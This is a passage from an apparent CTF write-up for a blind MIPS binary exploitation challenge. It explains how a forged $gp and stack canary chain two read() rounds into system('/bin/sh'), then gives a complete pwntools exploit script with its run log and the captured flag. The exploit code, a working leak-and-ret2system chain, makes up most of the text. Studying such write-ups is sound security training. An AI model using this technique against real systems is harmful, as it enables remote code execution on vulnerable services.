leak + 0x00 : &system <- M[X — 0x7fb4], what 0xbc8 will jalr
leak + 0x04 : X <- M[F2 + 0x10], the fake $gp
leak + 0x0c : canary <- the forged guard *value*
leak + 0x14 : leak + 0x0c <- M[X — 0x7fa0], the forged &__stack_chk_guard
leak + 0x18 : real $gp <- M[FP2 + 0x10], real $gp for round 2
leak + 0x30 : canary <- round 1’s own canary slot
leak + 0x34 : FP2 <- saved $fp
leak + 0x38 : base + 0xc68 <- saved $ra: go do another read()Round 2 — $fp = FP2 = leak+0x08, so read lands at leak+0x44, windowleak+0x44 .. leak+0x7f. Its $gp slot isleak+0x18 (real $gp, 0x24below $sp → survives, per the table):
leak + 0x60 : canary <- F2 + 0x6c, checked under the FAKE $gp
leak + 0x64 : leak + 0x48 <- F2 + 0x70, becomes $fp at 0xbc8 ($a0 = $fp+0x24)
leak + 0x68 : base + 0xbc8 <- F2 + 0x74, becomes $ra
leak + 0x6c : “/bin/sh\0” <- the argument itself
leak + 0x74 : canary <- FP2 + 0x6c, round 2’s own canary
leak + 0x78 : F2 <- FP2 + 0x70
leak + 0x7c : base + 0xc88 <- FP2 + 0x74, hop that reloads $gp from M[F2+0x10]The run, instruction by instruction:
- Round 2’s
readreturns.0xc88doeslw $gp, 0x10($fp)with$fp = FP2→$gp = M[leak+0x18]= real$gp. Canary check uses the real guard vsM[FP2+0x6c] = M[leak+0x74]= canary. Passes. - Epilogue:
$sp = FP2;$ra = M[FP2+0x74] = 0xc88;$fp = M[FP2+0x70] = F2;$sp = FP2 + 0x78. Jump to0xc88again, this time with$fp = F2. lw $gp, 0x10($fp)→$gp = M[F2 + 0x10] = M[leak+0x04] = X. Now$gpis fake.- Canary check under the fake
$gp:M[X — 0x7fa0] = M[leak+0x14] = leak+0x0c, thenM[leak+0x0c] = canary, compared againstM[F2 + 0x6c] = M[leak+0x60] = canary. **Passes.** - Epilogue:
$sp = F2;$ra = M[F2+0x74] = M[leak+0x68] = base+0xbc8;
$fp = M[F2+0x70] = M[leak+0x64] = leak+0x48;$sp = F2 + 0x78 = leak+0x6c. - Land at
0xbc8:
—addiu $v0, $fp, 0x24→$v0 = leak + 0x6c→$a0 = leak + 0x6c=”/bin/sh”
—lw $v0, -0x7fb4($gp)with$gp = X→M[leak + 0x00]=system
—move $t9, $v0→$t9 = system
—jalr $t9→system(“/bin/sh”)
Note step 6’s $sp = leak + 0x6c is *exactly* where the string lives. That’s the o32 argument-save area, which a callee may use — but glibc’s system isn’t varargs and its prologue only touches its own frame (addiu $sp,$sp,-0x20), so the string survives. This is the one genuinely tight spot in the layout
Let’s prove it!
Rather than debug system blind, I ran the identical chain with one word
changed: leak + 0x00 set to puts (read straight out of GOT[puts] atbase + 0x20064) instead of system.
leak 0xa42dc4 base 0xea0000 libc 0xaa0000 target 0xb18880 (puts)
OUT: b’/bin/sh\n’Exploit? HERE
from pwn import *
import re, struct, time, sys
HOST, PORT = '34.2.147.230', 5000
CMD = sys.argv[1].encode() if len(sys.argv) > 1 else b'cat /flag/flag.txt'
SYSTEM_OFF = 0x4eac8
G_READ = 0xc68
G_CALL = 0xbc8
G_GP = 0xc88
io = remote(HOST, PORT)
banner = io.recvuntil(b'> ')
leak = int(re.search(rb'image: (0x[0-9a-f]+)', banner).group(1), 16)
def scan(addr):
"""menu option 1 = arbitrary 4-byte read. MUST be 4-byte aligned (MIPS lw)."""
io.sendline(b'1'); io.recvuntil(b'address? ')
io.sendline(hex(addr).encode())
return int(io.recvuntil(b'> ').split(b'\n')[0].strip(), 16)
canary = scan(leak + 0x30)
base = scan(leak + 0x154) - 0x34
gp = base + 0x28010
rdbg = scan(base + 0x20010)
lm = scan(rdbg + 4)
mods = []
while lm and len(mods) < 6:
mods.append(scan(lm))
lm = scan(lm + 12)
libc = mods[1]
system = libc + SYSTEM_OFF
log.info("leak %#x", leak)
log.info("canary %08x", canary)
log.info("base %#x", base)
log.info("libc %#x system %#x", libc, system)
X = leak + 0x7fb4
FP2 = leak + 0x08
F2 = leak - 0x0c
def frame(words, size=0x3c):
b = bytearray(size)
for off, v in words.items():
b[off:off+4] = v if isinstance(v, bytes) else struct.pack('>I', v)
return bytes(b)
p1 = frame({
0x00: system,
0x04: X,
0x0c: canary,
0x14: leak + 0x0c,
0x18: gp,
0x30: canary,
0x34: FP2,
0x38: base + G_READ,
})
p2 = bytearray(0x3c)
def put(addr, v):
i = addr - (leak + 0x44)
p2[i:i+4] = v if isinstance(v, bytes) else struct.pack('>I', v)
put(leak + 0x60, canary)
put(leak + 0x64, leak + 0x48)
put(leak + 0x68, base + G_CALL)
p2[0x28:0x30] = b'/bin/sh\x00'
put(leak + 0x74, canary)
put(leak + 0x78, F2)
put(leak + 0x7c, base + G_GP)
io.sendline(b'2'); io.recvuntil(b'data? ')
io.send(p1); time.sleep(0.8)
io.send(bytes(p2)); time.sleep(1.2)
io.clean(1)
io.sendline(CMD)
print(io.recvrepeat(6).decode(errors='replace'))$ python3 exploit.py
[+] Opening connection to 34.2.147.230 on port 5000: Done
[*] leak 0x841dc4
[*] canary 00b7f4dc
[*] base 0xd70000
[*] libc 0x850000 system 0x89eac8
COMPFEST18{mY_G40t_5En!0r_kANnR!5h4_7HiNk_@_m!P5_PWN_w0UlD_b3_fUN_s0_I_cR3a7eD_iT_@Nd_m4K3_tH15_cH4lL_Bl1ND_t0_4Dd_s0M3_sP!cE5_d4774c83a556ee86}Flag:
COMPFEST18{mY_G40t_5En!0r_kANnR!5h4_7HiNk_@_m!P5_PWN_w0UlD_b3_fUN_s0_I_cR3a7eD_iT_@Nd_m4K3_tH15_cH4lL_Bl1ND_t0_4Dd_s0M3_sP!cE5_d4774c83a556ee86}Thanks for reading!





